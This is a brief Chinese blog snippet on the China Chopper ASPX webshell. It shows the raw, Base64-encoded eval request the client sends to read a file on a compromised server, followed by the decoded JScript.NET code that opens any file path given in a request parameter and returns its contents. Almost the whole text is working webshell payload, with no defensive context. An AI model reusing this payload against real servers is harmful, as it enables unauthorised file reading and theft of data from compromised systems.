菜刀ASPX 读取文件

http://blog.csdn.net/webxscan     神龙

读取文件

webxscan=Response.Write("22->|");var er:Exception;try{eval (System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dmFyIFA9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoNjUwMDEpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsiejEiXSkpO3ZhciBtPW5ldyBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKFAsRW5jb2RpbmcuRGVmYXVsdCk7UmVzcG9uc2UuV3JpdGUobS5SZWFkVG9FbmQoKSk7bS5DbG9zZSgpOw%3D%3D")),"unsafe");}catch(er){Response.Write("ERROR:// "%2Ber.message);}Response.Write("|<-");Response.End();&z1=QzpcXERvY3VtZW50cyBhbmQgU2V0dGluZ3NcXGFcXOahjOmdolxcd3d3XFwxMS50eHQ%3D


var P=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["z1"]));
var m=new System.IO.StreamReader(P,Encoding.Default);
Response.Write(m.ReadToEnd());
m.Close();